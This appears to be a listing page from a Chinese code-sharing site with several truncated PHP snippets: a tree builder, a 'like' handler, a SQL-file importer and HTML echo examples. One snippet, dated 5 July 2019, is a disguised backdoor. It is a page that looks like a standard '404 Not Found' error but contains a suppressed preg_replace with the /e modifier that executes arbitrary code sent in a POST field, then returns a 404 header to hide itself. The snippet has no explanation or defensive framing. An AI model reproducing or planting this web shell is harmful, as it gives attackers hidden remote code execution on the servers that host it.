function makeTree()
{
$areas = $this->arr();
$areaTree = [];
foreach ($areas as $id=>$area)
{
if(isset($areas[$area["pid"]]))
{
$areas[$area["pid"]]["children"][] = &$areas[$id];
}
else
{
......................
阅读全部
|
小轩88
贴于 2020年9月2日 16:07
hide
bbsi
$add_cond['open_id'] = 'odnyQ5_lyKmYCcWirvxcQxdkRx4I';//$this->userinfo['openid'];
$add_cond['spot_open_id'] = 'odnyQ54EwmeGasMU8cAVyCHkTBw8';//$_POST['spot_open_id'];
$spot = M('activity_like')
->where(['spot_open_id'=>$add_cond['spot_open_id'],'open_id'=>$add_cond['open_id']])
->find();
if ($spot)
{
$this->ajaxReturn(['status'=>0,'info'=>'已点赞,请不要重复']);
}
$add_cond['like_status'] = 1;
$add_liked = M('activity_like')->add($add_cond);
if ($add_liked)
......................
阅读全部
|
小轩88
贴于 2019年12月16日 14:22
show
bbsi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
阅读全部
|
JYF789JKL
贴于 2019年7月5日 16:05
hide
bbsi
php 将sql文件导入数据库
include 'dishedhou.sql';//dishedhou.sql当前目录下的sql文件
function insert($file,$database,$name,$root,$pwd){
//将表导入数据库
$_sql = file_get_contents($file);//自己的.sql文件
$_arr = explode(';', $_sql);
$_mysqli = new mysqli($name,$root,$pwd,$database);
if (mysqli_connect_errno()) {
exit('连接数据库出错');
} else{
//执行sql语句
$_mysqli->query('set names utf8;'); //设置编码方式
......................
阅读全部
|
小罗bccn
贴于 2018年4月3日 17:58
hide
bbsi
/*1.把html用单引号引起来用echo 输出,
* echo '<form action="search.php" method="post" name="" id="">';
echo '<input name="search" type="text" id="search"/>';
echo '<input name="Submit" type="submit" value="搜索" />' ;
echo "</form>";
*/
//2,用点号拼接起来然后统一用echo 输出,
//$data='<form action="search.php" method="post" name="" id="">';
//$data.='<input name="search" type="text" id="search"/>';
//$data.='<input name="Submit" type="submit" value="搜索" />';
//$data.="</form>";
......................
阅读全部
|
小罗bccn
贴于 2018年3月30日 18:18
hide
bbsi